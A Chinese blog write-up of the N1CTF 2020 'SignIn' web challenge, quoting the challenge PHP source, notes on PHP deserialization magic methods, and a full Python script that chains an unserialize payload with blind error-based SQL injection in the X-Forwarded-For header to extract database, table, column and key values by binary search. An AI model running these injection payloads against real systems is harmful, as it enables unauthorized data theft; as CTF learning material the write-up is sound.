2020/10/18
困扰一年的支气管炎最近加重了 ,今天看了一天的医生,没有学习的我,好慌啊,回来看到n1ctf 已经开始一天了 赶快看看web题
SignIn
1.一个很明显的反序列化题目,近几年的出题趋势。这里可以当作签到题 orz。
#题目
<?php 
class ip {
    public $ip;
    public function waf($info){
    }
    public function __construct() {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
            $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
        }else{
            $this->ip =$_SERVER["REMOTE_ADDR"];
        }
    }
    public function __toString(){
        $con=mysqli_connect("localhost","root","********","n1ctf_websign");
        $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
        if(!mysqli_query($con,$sqlquery)){
            return mysqli_error($con);
        }else{
            return "your ip looks ok!";
        }
        mysqli_close($con);
    }
}
class flag {
    public $ip;
    public $check;
    public function __construct($ip) {
        $this->ip = $ip;
    }
    public function getflag(){
    	if(md5($this->check)===md5("key****************")){
    		readfile('/flag');
    	}
        return $this->ip;
    }
    public function __wakeup(){
        if(stristr($this->ip, "n1ctf")!==False)
            $this->ip = "welcome to n1ctf2020";
        else
            $this->ip = "noip";
    }
    public function __destruct() {
        echo $this->getflag();
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 
我们学习一下反序列化
(http://www.lmxspace.com/2018/05/03/php-unserialize-%E5%88%9D%E8%AF%86/)这是我看到讲的最好的blog文章
贴一些重要的知识点
#常用魔术方法及触发条件
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发,返回值需要为字符串
__invoke() //当脚本尝试将对象调用为函数时触发
#类型字母详解:
a - array  
b - boolean  
d - double  
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
然后跟着这篇文章学着调试一下最简单的几个demo。
1点25了 先逃): 太菜了吧
因为我觉得属于代码审计 就没有另外开一个帖子。
昨天星期天,肝了好久这题,昨晚搞到2点多才做出来,思路其实都对了,但是就是坑多,不细心orz,太菜了。
那么写一下这题的思路
if(isset($_GET['input'])){
    $input = $_GET['input'];
	unserialize($input);
} 
这里很明显的反序列化漏洞
随后就是看给的类
flag类就很明显了 问题就在于要通过构造check函数对象 让check 等于这个md5后的key 用了三个等于号,那题目也叫sign in,所以看上面第一个类,有一个sql的插入操作,其中严重鄙视一下 出题者function waf好歹也加一个点点点啊 ,我还以为是空函数,白费时间,这题粗略过一下,作业太多了,以后有空再补充
构造序列化对象 令$_GET['input'] -> flag(ip->ip()) 这样子flag销毁时就会触发__destruct()->getflag()->这时候ip指向了ip这个类 触发tostring。就可以进行注入,注入得fuzz一下waf的check 内容(再次鄙视)
贴一个写的脚本 非常的nt - -很多东西重复了,但是懒得优化了,能用就行。但是大部分代码是通过https://github.com/h3xstream/http-script-generator 这个burp插件生成的 所以,我就写了一个二分法去跑
 
import requests
session = requests.Session()
startnum=1
expkey=44
paramsGet = {"input":"O:4:\"flag\":1:{s:2:\"ip\";O:2:\"ip\":0:{}} "}
tablename="注入的内容有:"
min=1
max=150
proxy={
    'http':'127.0.0.1:8080'
}
def getDbs(startnum,expkey):
    headers = {
        "Cache-Control": "max-age=0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
        "Connection": "close",
        "x-forwarded-for": "127.0.0.1'  and updatexml( 1, if((SELECT ascii(mid(group_concat(schema_name),"+str(startnum)+",1)) FROM information_schema.schemata) >" + str(
            expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
    }
    response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
    #print(response.text)
    if('<code>welcome to n1ctf2020</code>' in response.text):
        return True;
    else:
        return False;
def getTable(startnum,expkey):
    headers = {
        "Cache-Control": "max-age=0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
        "Connection": "close",
        "x-forwarded-for": "127.0.0.1'  and updatexml( 1, if((SELECT ascii(mid(group_concat(table_name)," + str(
            startnum) + ",1)) FROM information_schema.tables WHERE table_schema = DATABASE()) >" + str(
            expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
    }
    response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
    #print(response.text)
    if('<code>welcome to n1ctf2020</code>' in response.text):
       # print('True')
        return True;
    else:
        return False;
def getColumns(startnum,expkey):
    headers = {
        "Cache-Control": "max-age=0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
        "Connection": "close",
        "x-forwarded-for": "127.0.0.1'  and updatexml( 1, if((SELECT ascii(mid(group_concat(column_name),"+str(startnum)+",1)) FROM information_schema.columns WHERE table_schema=DATABASE() and table_name='n1key') >" + str(
            expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
    }
    response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
    if('<code>welcome to n1ctf2020</code>' in response.text):
        return True;
    else:
        return False;
def getFlag(startnum,expkey):
    headers = {
        "Cache-Control": "max-age=0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36",
        "Connection": "close",
        "x-forwarded-for": "127.0.0.1'  and updatexml( 1, if((SELECT ascii(mid(group_concat(`key`),"+str(startnum)+",1)) FROM n1key) >" + str(
            expkey) + ",1,concat(0x3a, DATABASE())),1 ) and '1'='1",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh,zh-TW;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6"
    }
    response = session.get("http://101.32.205.189/index.php", params=paramsGet, headers=headers,proxies=proxy)
    if('<code>welcome to n1ctf2020</code>' in response.text):
        return True;
    else:
        return False;
while startnum<300:
    expkey=int((max+min)/2)
    if(getFlag(startnum,expkey)==True):
        max = expkey
    else:
        min = expkey
    if((max-1)==min):
        tablename += chr(max)
        print(tablename)
        startnum+=1
        min = 44
        max = 122
最后能跑出key的值,然后再构造poc就懂啦。啰嗦了很多,可能有点乱,只要去看多一些反序列化的文章和本地调试一下就懂了,还有就是需要一些报错注入的基础知识
去做作业了 逃):